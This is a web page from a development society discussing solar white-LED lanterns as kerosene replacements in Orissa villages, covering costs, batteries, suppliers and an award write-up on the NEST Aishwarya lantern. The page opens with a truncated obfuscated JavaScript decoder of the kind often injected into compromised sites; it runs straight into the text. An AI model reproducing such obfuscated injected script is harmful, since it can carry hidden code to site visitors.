function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5 Sustainable Economic and Educational Development Society

Illumination efficiency of fuel-based lights (such as kerosene lanterns) has been observed to be >100 times lower than the solid-state WLED lights. Evan Mills of Lawrence Berkeley Lab argues that "Coupled with inexpensive diffusers or optics, today’s best WLEDs deliver 10 to 100 times as much light to a task as do traditional fuel-based lanterns... Users of kerosene lighting pay 150-times more per unit of useful energy services than do those in electrified homes with compact fluorescent lamps. We estimate that fuel-based lighting is responsible for annual energy consumption of 77 billion liters of fuel worldwide at a cost of $38 billion/year or $77 per household. This equates to 1.3 million barrels of oil per day, on a par with the total production of Indonesia, Libya, or Quatar, or half that of prewar Iraq...Used 4 hours a day, a single kerosene lantern emits over 100 kg of the greenhouse gas carbon dioxide into the atmosphere each year...In aggregate, the fuel-based lighting costs the world's poor $38 billion each year, plus ~190 megatons of CO2 emissions, the most important greenhouse gas...Thanks to dramatic improvements in the efficiency of white light-emitting diodes (WLEDs), it has become possible to create compact, highly affordable, rugged, and cost-effective illumination systems powered with small solar panels and rechargeable "AA" batteries.

There are about 300 sunny days in a year in India which receives solar energy equivalent to over 5000 trillion KWhr/year, which is far more than the total energy consumption of the country. This translates to a daily average incident solar energy from 4 -7 KWhr/m2 depending upon the location. The average annual amount of kerosene used per Lantern (4 hours working) in India is 200 litres estimated to cost Rs.4000/-.

--Darshan Patra


    About LEDs

    Buying LEDs

  Proposal to :
[email protected]  [email protected]
Srigopal Mohanty brings a proposal for WLED lighting in Orissa after hearing Prof. Irvine-Halliday.

Capture by Mamata Misra:

With internet search, I found this 79-page stanford report at that has a business plan and recommendations for social entreprenuership for a LTUW-India business. It was produced as part of a course taught at Stanford. It is very detailed and may answer some of the questions and provide contacts to explore further.  It has consumer surveys and feedback such as whether they liked the product better than their usual lighting after two days of use and why, how many hours a day they are likely to use it, for what purpose they use it, how much they would be willing to pay for it, etc. According to this report written in 2003, a family of 7 spends 4 litres of kerosene per month which costs Rs.9 per litre if subsidized and Rs.20 per litre in open market. The study said that if a family spends about Rs. 92 per month in kerosene it would break even in one year by switching to WLED.   Perhaps Prof Irvine-Halliday may know if a business component LTUW-India of the LUTW org has been implemented and exists in India and if so which Indian suppliers and manufacturers it works with. Interestingly, Orissa was one of the four target states in this business plan. The following manufacturers were identified as potential partners for this business, with required capabilities such as circuitboard assembly, PIC microprocessor programming, plastic housing manufacture, component housing assembly, packaging and distribution.   Bajaj Electricals Jabil Circuit Ltd. Eveready Industries India Tata BP Solar   As for components the study mentions that LTUW-India will get majority of components from local Indian suppliers and ship them to the manufacturers for assembly. Asian suppliers Nichia and Jia Wei Solar are mentioned for WLED and Solar Panels.   The report also recommends the role of the government in building a market, discusses marketing and distribution strategy, and risks.   I think that reading this paper may give SEEDS project proposal writers food for thought about the details of the project and identifying the roles and boundaries of SEEDS, LUTW-India (if such a business entity separate from the nonprofit LUTW exists), LUTW org, the local NGOs identified by SEEDS who would manage distribute the product and training in a particular region, and the end user.   Of course, the LUTW website has instructions on what elements a project proposal must include. ----------------------------------------------------

Capture by Lalu Mansinha:

SEEDS=Sustainable Education and Economic Development Society
WLED=White Light Emitting Diode.
LUTW=Light Up The World Foundation, at Univ. of Calgary, in Calgary, Alberta, Canada.  Details about LUTW can be found at
LUTW and Prof Dave Irvine-Halliday was featured in an article in Reader's Digest (Canada English Edition ) in July 2004.  The article may have appeared in other international editions of the Reader's Digest.

Each basic WLED light system consists of 1 Solar Panel, 1 rechargeable battery, 2 of 1.5W lamps, mounted in housing, and some protective electronic circuitry.  This kit costs USD100 from LUTW.  LUTW in turn ships it from suppliers/manufacturers in  various countries, including Japan, US Korea, Sri Lanka, India.

Technical Discussion
1.  Types of WLED.
WLEDs used by LUTW are of two types: the 0.1Watt and the 1.5Watt
It is possible to make a lamp with a single 1.5W WLED, or with 15 0.1W WLED.

I have seen both types.  The advantage of the 15 0.1W WLEDs is that one can switch on all, or switch on only 3 to provide a low level light for the whole night (termed a night light).  This night light version has proven popular with mothers with small children in Sri Lanka.

2.  Type and amount of light
Please remember that the LUTW WLED system is NOT designed to replace the bright fluoroscent and incandescent lights in homes with electric supply.  Rather it is a self standing robust rechargeable light system to provide reading and working lighting for the poorest homes using kerosene lanterns or candles, designed to last ten years or more.

In his demonstration in the darkened lab, Prof. Irvine-Halliday held the 1.5W lamp (with a reflector) at a height of 1 meter (3 ft) or so above a table.  Sitting at the table I (and four others) could read by the light.  The remainder of the room was illuminated  sufficiently to move around and work at various tasks.

All during my childhood and during two years of college I studied with kerosene lamps.  There is no question in my mind that the WLED system is preferable to the kerosene system of my youth.

3.  Why not go for Fluoroscent  Lamps, rather than WLED?
The lowest Compact Fluoroscent Light (CFL) bulb is about 9Watts, to produce light equivalent of a 25Watt incandescent bulb. Thus a single CFL bulb consumes 6 times the power consumed by a 1.5W WLED bulbs.  Since the LUTW system consists of two 1.5W WLED lamps,  to power two 9watt CFL bulbs, the Solar panel has to be 12 times larger.  The battery has to be 12 times larger.  So the system becomes considerably more expensive.  In addition, the rated life of a WLED lamps much longer than a compact fluoroscent bulb. 

4.  Why not make the WLED System in Orissa, rather than buy it from LUTW?
Our goal is to start making as much of the WLED system locally as we can.   LUTW encourages local manufacture.  Prof. Dave Irvine-Halliday said that a Sri Lanka NGO started making parts of the lamp after the Tsunami last year.  Within a year they had made thousands of units, and now cannot meet the demand.

It is important to remember that LUTW has now several years of experience in designing  WLED system and installing worldwide.  Graduate students and technicians at the Univ. of Calgary have done research on the components and overall design for the past ten years or so at the Univ. of Calgary.  I met a graduate student from Mexico working under Prof. Irvine-Halliday. Until we in Orissa develop the experience and expertise on WLED, we have to depend on the LUTW knowledge base.

Key points to remember is that in addition to the solar panel, battery and WLED, electronic circuitry protects both the WLED and the battery.  A lead-acid battery gets damaged (and service life shortened) if the battery is discharged too much.  A protective circuit shuts down the circuit if the battery is drained too much.

WLED lamp is designed for 3volts.  To operate from batteries with other voltage, one needs a solid state stepdown device to drop down the voltage to 3V.  A 1.5W WLED will in fact produce brighter light at voltages of 3.5v and 4v.  But if allowed to operate at higher voltage for the brighter light, the lifetime of the WLED bulb reduces drastically, from 100,000 hours to something like 50,000 hours.

Lead-acid batteries are widely available in India for cars.  However, the batteries used by LUTW are of the type known as 'Sealed Lead-acid battery'.  In this type, the acid is sealed in (I think also in a gel form), and as a result this type of battery is much safer for a household with young children.  Remember that the poor in Orissa live in very cramped space.  An ordinary (as used in cars) lead-acid battery would pose significant danger because a child can open the plastic caps and dip a finger into the acid.  The acid will burn the finger, and if splashed, can damage the eye.

5.  Some Questions  on my mind (If you have the answer please let me know)

a.  Availabilty of WLED  in India?  If so what are the types, suppliers and prices?

b.  Are Sealed lead-acid battery available in India?  Cost?

c.  What is the average amount of kerosene used for a lantern in India, and what would be the annual cost?

----------------------------- Discussion on 3/3/06 captured by Lalu ----------------

WLED White Light Emitting Diodes
LUTW Light Up the World Foundation Calgary, Canada
UICU  University of Illinois, Champagne-Urbana Campus
EWB  Engineers Without Borders
JITM  Jagannath Institute of Technology and Management, Parlakhemundi, Gajapati, Orissa

In about two weeks we (or at least I) have gone from almost zero knowledge of WLED and solar panels lighting systems  to a state of excitement as to its potential for providing cheap off-grid power  and light for the poor.  It is also clear that many individuals and groups in India and worldwide are working towards these goals.  Research on WLED is leading to continuous improvement in performance and lowering of cost.

A few thoughts:

1.  LUTW:  I had a phone conversation with Kim Veness of LUTW.  In the discussion he said that a major announcement is coming up in April regarding LUTW projects in India.   He hinted that the project will involve manufacture of WLED lighting systems in India, with a substantial drop in prices.  He said it was "not unthinkable" that we could be involved in some part of assembly.  He has advised me to wait until April.

2.  EWB-UICU:  This is the University of Illinois group with T. Patrick Walsh.  Dhanada had posted this project.  As far as I could see in this report, they are still at the design and testing phase of a planned (USD20) portable rechargeable WLED light.  JITM is named in the report.  I am also glad to know that Dhanada and others are experimenting with WLED systems at JITM

3.  SEEDS role:  If one or both LUTW and UICU system prove to be a suitable product  at the right price that fulfils a societal need, SEEDS should take this up as a major project, particularly in off-grid villages where we have ongoing projects or we have major contacts.  Since this is a hi-tech project, we should do as much design and assembly as possible, simply to impart some skills and incomes to SHGs.  Since purchase of  lighting system would be a major expenditure for the villagers, we have to think of micro-finance. We should also think of long term performance guarantees and of servicing.

Many NGOs and individuals are ready to participate.  I/we have contacts with ASRA, UNNAYAN, Purna Dash of ARUPA, S. C. Choudhury, Debasmita Misra (OBI) and Lalit Mohan Pattnaik (NALCO),  and many others. 

4.  Biogas, Biomass, Pedal, Turbine Power:  LUTW has installed a bicycle powered system in Nepal and possibly a water powered system (I cannot remember the details). LUTW has also developed designs for a biogas based power system.  Also a biomass reactor that uses wood, not by burning, but by "cooking"  the wood in the bioreactor to generate gas, which powers a generator,  Prof. Irvine-Halliday said.  A small quantity of wood in the bioreactor generates enough gas to power the generator for 6 hours or so.  These systems are more suitable for large home or small factory.

---------------------------- From Purna Dash of Arupanand Ashram ------------------

     Thanks for the discussion.The points are as follows.     1. We have deployed lighting systems as Street Light,Home Light System,Solar Lanterns & Solar Power Plants.SLS consist of 2nos of 37 watt Modules,1no.of 12-volt 75/80AH lead acid battery,1no 11-wattCFL and 1no. charge controller.Similarly, in Home light system , 1no.37-w1tt module,1no.12-volt 40 ah lead acid battery & either 2nos.9-watt CFL or 1no 9-watt CFL and 1no.15-20 watt D.C Fan.Solar Lantern consist of 1no. 8/10 watt Module,1no.12 volt,7AH sealed lead acid battery & 1no.5/7 watt CFL.The Powre Plant normally range from 1KW to 10 KW & panels,Battery banks, Lights, Charge controllers are sized accordingly.We have totally electrified 90 villages of Chattisgarh state,300 villages of Orissa & 38 villages of Jharkhand state from 1999 till date.We will be deploying WLED light package for village homes to substitute Kerosine & other oils.Our system will consist of 12 volt-3-4watt module,12 volt 4-5AH  sealed lead acid battery,Charge controller unit & 1-2 watt WLED light. 2.The cost of differnt types ofSolar panels are(smaller capacity)     12V-8 watt----Rs.2100.00     12V-10 watt--Rs.2600.00     12V-12 watt--Rs.3100.00 3.The price quoted for Lead acid battery is not a flat rate.Maintainancefree    ( sealed) Lead acid batteries of smaller capacity as      6 Volt,4AH---12V,7AH---12V,9AH--12V,12AH are normally available.The cost of EXCIDE 12 Volt,7AH sealed lead acid battery is Rs.500/-   > This looks quite promising.. Thanks. > 1. Have you already deployed some lighting systems? > If so where and when? What's your experience? > 2. What is the cost of a relevantly spec'ed solar > panel ? > 3. Your price quote for the lead-acid battery is not > a flat price, is it? So which wattage you have in > mind for the Rs. 500 cost? > > Priyadarsan Patra > SEEDS With Thanks, Purna Dash  0-9937233117 0671-2331177(Res.)
Earlier mail 3/1/2006: LIGHT FOR ORISSA VILLAGES
  We are fascinated to know about the development of WLED Technology by
LUTW. The Technolgy is a boon for the rural village poor.We ARUPA MISSION RESEARCH FOUNDATION, is a leading charitable,non-profit making
Non-Government Organisation of Orissa State.Founded by Dr.Swami Arupananda, Ph.D.,D.Sc., the mission is working in the field of Health,
Education,Sanitation,Environment etc. for the rural and downtroden
people of orissa.The mission is also working in Renewable Energy Sector
for remote village electrification and other Research and Development works. The full scheme can be viewed through      It is a pleasure for us to know that Dave Irvine Halliday and his
wife are visiting India during Mid.April 2006.We welcome and invite
them to Orissa to be our guests. During their stay we will arrange
training programmes, discussions and interactions with various sectors
in WLED technology.We have got eminent and highly experienced engineers
with us working in the field of Renewable Energy,specially in Photo-Voltaic sector.The WLED concept has been in-corporated in Solar
Torchs,Solar Path Finders,Solar charge controllers etc. Solar Panels
from 3 watt to 150 watts are available with us.Similarly sealed Lead
Acid Batteries from 5AH to 700AH are available with us.We are propagating CFL Bulbs and WLED Bulbs for light purpose. The scheme is
propagated as SOLAR LANTERNS.As desired by Lalu mansinha of SEEDS,the
informations are as follows,
1. WLED upto 1 watt is readily available in India, being imported.It
   costs approx. Rs.250/-.
2. Sealed Lead Acid Batteries are readily available in India as well
   as Orissa which costs Rs.500/-.
3. The average annual amount of kerosene used for Lantern (4 hours working) in India is 200 litres which costs Rs.4000/-. ---------------- Dhanada reports --------------------------
 Peter Bakos reported two days ago the sighting of a LED torch light in the nearby villege, which has a dynamically charged battery - costs Rs.35/- apparently in the local Paralakhemundi market. We are getting some WLEDs from Chennai to fool around with. One Dr. Krishnamurthy who visited us a week ago has promised to send us some individual LEDs and also an assembled light consisting of many that can be used for experimentation. --------------------------- Birendra Mishra had this to say -------------------------------------
There has been a lot of discussion on providing light to the. I have quite some experience and I think I should share it with all.


Lead Acid: I used to purchase about 250 65-amp hour batteries a year in the UAE for 11 years. I have a little experience from India. They typically hold about 600 watts when new at loads of 35 watts per hour (will hold 800 watts at discharge rates of 10 watts). This rating rapidly depreciates with each cycle and with temperature. That is batteries last longer in winter and shorter in summer.

No battery lasted longer than 1.5 years when used out doors. However, batteries used indoors lasted much longer.

Standard lead acid batteries are supposed to have a life of about 1750 to 2000 cycles if they are charged at 70% utilisation. This means if the drain from a 65-ampere hour battery doesn’t exceed 350 watts it should give a life of about 1750 cycles. In other words towards the end of the cycle it will hold only about 200 watts of useful power. I tried that and measured capacities and I must conclude that in a hot climate like the UAE it will be too much to expect a life of 1000 cycles.

However, I must observe they last much longer at Toronto and standard auto batteries are guaranteed for 72 months plus.

I also kept a record of battery life in automobiles. Maintenance free batteries (even those that come as OEM on autos like Mercedes and made in Germany) do not last longer than 2 years.

Nepal and Afghanistan are much colder than Orissa and batteries definitely will last longer.

Very good make Auto batteries in Orissa do not last three years but even rebuilt batteries used indoors for emergency lighting last up to 5 years.

Ni-Cd batteries are usually guaranteed for 700 to 1000 cycles but I never got more than 100 cycles in the UAE.

There is a misnomer in the Ni-Cd field. Battery prices vary by as much as 1:3. a standard “AA” Battery holds 500 mah. Nickel and Cadmium being costly some manufacturers make them at capacities as low as 100 mah and sell for less.

Zinc Manganese Alkaline batteries are reusable (not rechargeable) but a need a different charger than the ones that charge Ni-Cd batteries. If they are charged beyond 1.65 volts they are likely to leak and fail.

In 1993 I purchased AA alkaline batteries at Bhubaneswar for Rs.18 each so it is no wonder that they are available for Rs. 30 these days.

After Rayovac tried and failed to patent the process the technology became popular. Rayovac claimed 25 recharges from full dead and life’s of about 1750 cycles under certain conditions. However, ordinary alkaline batteries can be successfully reused 10 times over.

A suggestion – pure energy sells rechargeable alkaline batteries and charger available at most Wall marts. All Alkaline batteries (not Ni-Cd and NiMH) can be charged with this charger. The trick is charge them before OCV drops bellow 1.45 volts. This is the situation when most digital cameras take unusually longer to revive for the second shot or may turn on and off immediately in cold weather. Look for tale-a-tale evidence of leaks and discard those that show signs of failure.

In UAE I got them free from work reused once and discarded them, running toys was not expensive.

So much about batteries and let me share my dynamo experience.

In 1965 summer my brother and me built a small windmill. We took a hard cover from an exercise book and made the blades. Screwed it on to our bicycle dynamo. Tied to the window it produced enough to light a torch (2 cell) bulb I watt capacity and most evenings it blew the bulb. This was at Delta Colony Nimapara. So what is the need to run a bicycle?

In most coastal areas a ceiling fan (42 inch) coupled to a little larger diameter rotor at about 4 metres height can comfortably generate about 15-20 watts of energy for most part of the day. These fans of good make cost around Rs. 1000 in 2001.

Having said all that Rural Electrification started in India in the 70’s and by 1987 I noticed an energized electric pole at the 12 family hamlet of Bereda Padar in interior Phulbani. Most villages have electrical supply.

To wire a typical rural poor house consisting of a small cowshed at the entrance, two rooms and a kitchen behind it present costs would be about 3000 material, 1000 electricians labour, 750 or so for the meter, about 250 or so for the paper work and the security deposit. Adds up to about Rs. 6000.

When I was in India prior to 1989 I knew that people could not afford the wiring so in the coastal regions they used a hook to put a light and play card. Some people even used heaters with a hook. After privatization it must have become next to impossible to use a hook. People in slums have problem with titles and so they may refused a connection even if they can afford it.

The government was committed to provide electricity to the rural poor in 1970’s and today it definitely is in a better position to subsidise electrification. After all Manmohan Singh’s government came to power with a promise to develop the rural poor.

Now Nepal and Afghanistan are not in a position to think of rural electrification but India has done it. We want to help the poor have a light through NGO’s. And we want to aid up to $100 per family with a system that will provide much less illumination and will require regular maintenance. What about helping them wire and energize their home?Besides an energized home (with metered supply) will light of his neighbours home on either side.

After all a significant component electrical material is copper. Most copper in India is imported fetching the government about Rs. 40 per kg of copper by way of custom duty. Calculate all the duties and sales tax the tax component on Rs. 3000 worth electrical material is about Rs. 400. The labour cost of Rs. 1000 creates rural employment. There is no reason why the government should not be expected to play its part. After all in reality the government is going to spend nothing. Besides this will usher economic growth too!

Why not we think rationally rather than copying what is being done in another country?

Dear All,

A group of us have been discussing the approaches and feasibilities of LED-based lighting for the rural poor at essentially- unsubsidized rates. The benefits are many including longer-life, environment- friendly, negligible health-safety hazards.  There is likely to be future increase in scarcity and price of oil-based kerosene while, in contrast, solar and IC technologies are likely to "technologically scale" ever better for the consumer.

However, there are both methodological as well as technological challenges in introducing a new technology, that too at an economically- viable way: a full-fledged wled-based solar lantern for mass use by rural poor. We hope to report the essence of our discussions in several weeks. But, at present, let me draw your attention to three relevant external reports below.

1)  We had earlier reported on "THRIVE's LED-LIGHTING PROPOSAL WINS AT DEVELOPMENT MARKETPLACE (Global DM2006) AWARDS COMPETITION" . We have gotten in touch with THRIVE, but they don't have any specs or details to share yet. They have won a World Bank grant of about $175,000. More at

2) There is an interesting report on a  new, yet kerosene based, technology developed in Maharashtra at nariphaltan. virtualave. net/lantern. htm

3) This last report is based on compact-florescent lamp technology which won Ashden award.  This report also tells us how their system was introduced.


Summary of the Award-winning work

NEST is a private company based in Hyderabad, India, which was set up to develop a very small solar lantern, the 'Aishwarya®', as a safe substitute for the kerosene wick lamp. Over 65,000 lanterns have been produced and distributed during the past five years.

It is estimated that in India alone, about 100 million households use kerosene wick lamps as their main source of light. Such lamps produce poor quality light and unhealthy fumes, and present a serious fire risk particularly when used in thatched homes. Fluorescent lamps with batteries recharged using solar photovoltaics (PV), can provide much better quality and safer light, but the cost of such a lantern can be prohibitive.

NEST have brought down this cost, by making a PV lantern which is small and light-weight, with strict attention to quality of manufacture. By working closely with a network of dealers and sub-dealers, through whom they provide credit, spares and support, they have enabled very poor people in the most remote villages to buy PV lanterns without subsidies. Over 75% of the Aishwarya lanterns produced by NEST have been sold in this way, throughout the states of Andhra Pradesh and Maharashtra.

The Ashden judges commended NEST for developing an attractive and high-quality lantern specifically for the poorest households, and setting up a financial and service structure which enables such households to purchase without subsidy and receive proper after-sales support. These achievements were made possible by effective management within NEST and their active links with subcontractors and their dealership network

The Award-winning organisation

NEST (Noble Energy Solar Technologies Ltd) is a private company which was set up by the current Managing Director, Mr DT Barki, in 1998. Mr Barki had previously followed a successful career in the PV industry in India but, having seen a baby die in a house fire caused by a kerosene lamp when he was a child, he had a longstanding wish to use his expertise to eliminate the need for kerosene lamps in poor households. The lantern design and manufacturing systems were developed over a period of three years, and commercial production started in 2001. Production has grown steadily from a total of 2001-02 to a current production of over 5,000 per month. NEST is managed by a board of directors, and currently employs fifteen people at its office and workshop in Secunderabad. A dedicated solar module manufacturing plant in Bangalore runs with about 7 employees. The annual turnover in 2004-5 was about £0.25 million, mostly (about 85%) from the sale of Aishwarya PV lanterns.

Contact: DT Barki, NEST, India
Email: dtbarki@usa. net, info@solarnest. net
Website: www.solarnest. net


NEST set out to develop a PV-powered lantern of a similar size to a simple kerosene lamp. It is lightweight so that it can easily be carried even by children, affordable by the poorest households who have no other alternative but kerosene and attractive as a consumer product. They designed the lantern to allow for easy replacement of key parts, rather than repair.

The basic components of the lantern are common to all PV lighting systems: a PV module to supply the electrical power, a rechargeable battery for energy storage, a lamp and an electronic controller. NEST chose to use 3 W high-efficiency compact fluorescent lamps (CFLs), which produce about 60 lumens of light output - five times as much as a kerosene lamp. This small size CFL is manufactured specially for them, by Osram. NEST make the polycrystalline PV modules at their own factory in Bangalore, using 3 Wp modules to provide for 3 to 4 hours of light per night. The PV module is mounted with an angled bracket on the roof or outside wall of a house, and plugged into the lantern to charge it during the day. The lead-acid battery (rated 4 Ah at 6 V) is the heaviest part of the lantern and is therefore mounted in the base to give stability. The lantern base also has a socket to power a small fan or radio if desired. NEST design their own electronic controllers, and purchase the components for them to ensure quality, but outsource the manufacture to a small electronics business in Hyderabad. Manufacture of the plastic housing is outsourced to another small business.

The lanterns are assembled at the NEST workshop in Secunderabad. Rigorous attention is paid to quality, with checks on all individual components and on the finished lanterns. The lantern is packed as a single item in a box, so that it can be sold like any other consumer product. The name 'Aishwarya®' is that of an Indian Miss World, and was chosen to emphasise both the intelligence and aesthetic appeal of the lantern! In Sanskrit 'Aishwarya' means 'fortune'.

NEST are fully aware that people would like access to electricity for more than lighting, and they also produce larger PV lanterns (for street vendors and street lighting) and solar-home systems.

There are many ongoing developments in the global markets for PV and lighting products, and NEST are keenly aware of these. One global concern is the shortage of silicon which is the main material for making PV cells and modules. NEST are taking part in joint ventures to process silicon, and also to produce amorphous silicon PV modules which require much less silicon than their current multicrystalline modules. NEST has already signed a Memorandum of Understanding with a Japanese silicon company to work jointly on breakthrough poly-silicon technology to overcome the silicon feedstock problem the world is facing today. Light-emitting- diodes (LEDs) are increasingly used for small scale lighting, and NEST are keeping a watching brief on this technology to judge when it might be more appropriate than CFLs.

How users pay

NEST specifically intended the Aishwarya to be sold as an unsubsidised, commercial product in very remote, poor villages, and about 75% of their production to date has been sold in this way. In order to achieve this, they have established a network of dealers based in small towns. Dealers are independent businesses, sometimes selling other good or services as well as lanterns, and are provided with training, stock, spare parts and support by the NEST head office. Each dealer recruits a number of sub-dealers who work on commission at village level. Dealerships vary in size, but typically sell between 500 and 1000 lanterns per year.

Most customers cannot afford the purchase price of about 1,500 rupees (£19) for an Aishwarya lamp, but are able to buy on credit from the dealers. Typically they will be asked to pay 200 rupees per month for 8 months, or 100 rupees per month for 16 months. NEST will sometimes reduce their own profit in order to allow the dealers to give free credit, but this is the only form of subsidy offered. Because the sub-dealers know their individual customers, they are able to collect regular payments, even from people who do not have a formal address. Customers often need to extend their repayment period, but the overall track record of repayment is very good, with only about 3-4% defaulting on payments.

A kerosene wick lamp used in a home for 3 hours per night would burn about 7 litres of kerosene per month, at a cost of 10 rupees per litre, with government subsidy. But kerosene is seldom available at this subsidised rate to the poor; they often buy it at a very high black market rate of around 20-25 rupees per litre or 70 rupees per month. Thus the lamp pays for itself from savings on kerosene in less than two years. After that the cost of replacement batteries and CFLs is only 200 rupees every 3 years (see below) and the lantern should last for more than ten years as the designed life of solar panels is 25 years.

Some lanterns have been bought and distributed by NGOs in social programmes. They have also been given away in promotions and high-profile events, for instance as prizes to high-achieving school students, in order to emphasise the value of good quality light. NEST have provided PV street lights for some government programmes, and have also donated them to some of the slum communities around Hyderabad. Within this thriving, modern city there are still many people without access to the benefits of electricity.

Training, quality management and support

The dealership network which provides an effective route for sales is also crucial for training, replacement parts, after-sales service and recycling.

Sub-dealers have to make sure that each user knows they must recharge their lantern every day, otherwise it will not provide the intended 3 to 4 hours of light each evening. It is an advantage for sub-dealers to recruit a number of customers in a given village, so that several people can share experience of using lanterns.

Each dealer is provided with a full set of spare components. Sub-dealers carry a few spare controllers, batteries and CFLs which can be swapped in if needed during the one year guarantee period. In practice there is little need for this, but it is important that people have the confidence that their lantern will go on working.

The overall experience is that very few lanterns give problems, and when they do it is usually because the battery has not been regularly charged. The lifetime of the battery is typically 3 years if it is used carefully (about 1000 daily cycles of discharge and recharge) after which it is exchanged by the NEST dealer at a cost of about 150 rupees. The CFLs have a similar lifetime and are replaced at a cost of about 60 rupees. Both CFLs and batteries are returned to their manufacturers for recycling.

Benefits and replicability

The reason for developing the Aishwarya lantern was to avoid the dangers of kerosene wick lamps. The continuous problem of kerosene is the inhalation of fumes, and eye irritation, but the risk of lamps being knocked over and setting fire to homes is very real. Aishwarya lanterns avoid all these problems.

Poor villagers often go without light at night if they run out of kerosene or simply cannot afford it. There are great benefits to having the Aishwarya lantern available whenever it is needed, particularly for urgent matters like delivering babies or dealing with accidents. Villagers told the visiting Ashden judge that they really appreciated being able to see the food that they were eating, and not end up eating bugs! They also enjoyed the increased security from having light around the village, and felt that it deterred wild pigs and other animals.

The light from an Aishwarya lamp is about five times brighter than a single kerosene lamp, with better spectral quality, and it is therefore much better for reading, thus enabling children to study in the evenings. Some people have also been able to carry out income-generating work in the evenings. Most lamps provide the sole source of light to a family of typically five people - sometimes two families share one Aishwarya - so the 40,000 sold in poor villages are benefiting over 200,000 people on a daily basis.

Combustion of kerosene in a wick lamp is very inefficient at producing light, and emits significant amounts of carbon dioxide. A single wick lamp which burns 80 litres of kerosene produces about 250 kg of carbon dioxide per year, which is avoided by using the Aishwarya.

NEST has generated employment for a growing number of people. There are currently 15 direct employees (12 men and 3 women) at their head office and workshop in Hyderabad, and 7 at their factory in Bangalore. There are also about 50 dealers, 5 of whom are women, working full or part-time selling Aishwarya lanterns, and each of these provides part-time employment for around five or ten sub-dealers. The small businesses which manufacture charge controllers and plastic parts work exclusively for NEST and employ a further 60 people.

Aishwarya lanterns are popular: new orders come from villages where people already own them. There is a huge potential for widespread sales, in India and beyond. In India alone there are 100 million families using kerosene wick lamps. The publicity from the Ashden Awards produced worldwide interest in the Aishwarya lantern, and NEST currently have enquiries from over 40 countries for Aishwarya solar lamps.

Management, finance and partnerships

NEST was established as a profit-making business with a very clear social focus, and this is evident in the day-to-day operation of the business, and in the commitment of the staff - many of whom have been with NEST since it started.

NEST works very effectively with other businesses, including the suppliers of outsourced components. The dealership network, with the detailed local knowledge that it provides, has been crucial in enabling the lanterns to be sold successfully in really remote areas. NEST have been able to motivate their dealers to follow their approach of providing a high quality product and service to poor people, while at the same time allowing the dealers to function as independent businesses.

NEST works with a number of NGOs who supply lanterns for social programmes. They have also worked with affluent non-resident villagers and non-resident Indians, to promote lanterns in their native regions.

Most of finance for NEST has been on a straight commercial basis, through private investors and banks. A loan from Winrock International underpinned the rapid expansion of the business in 2004.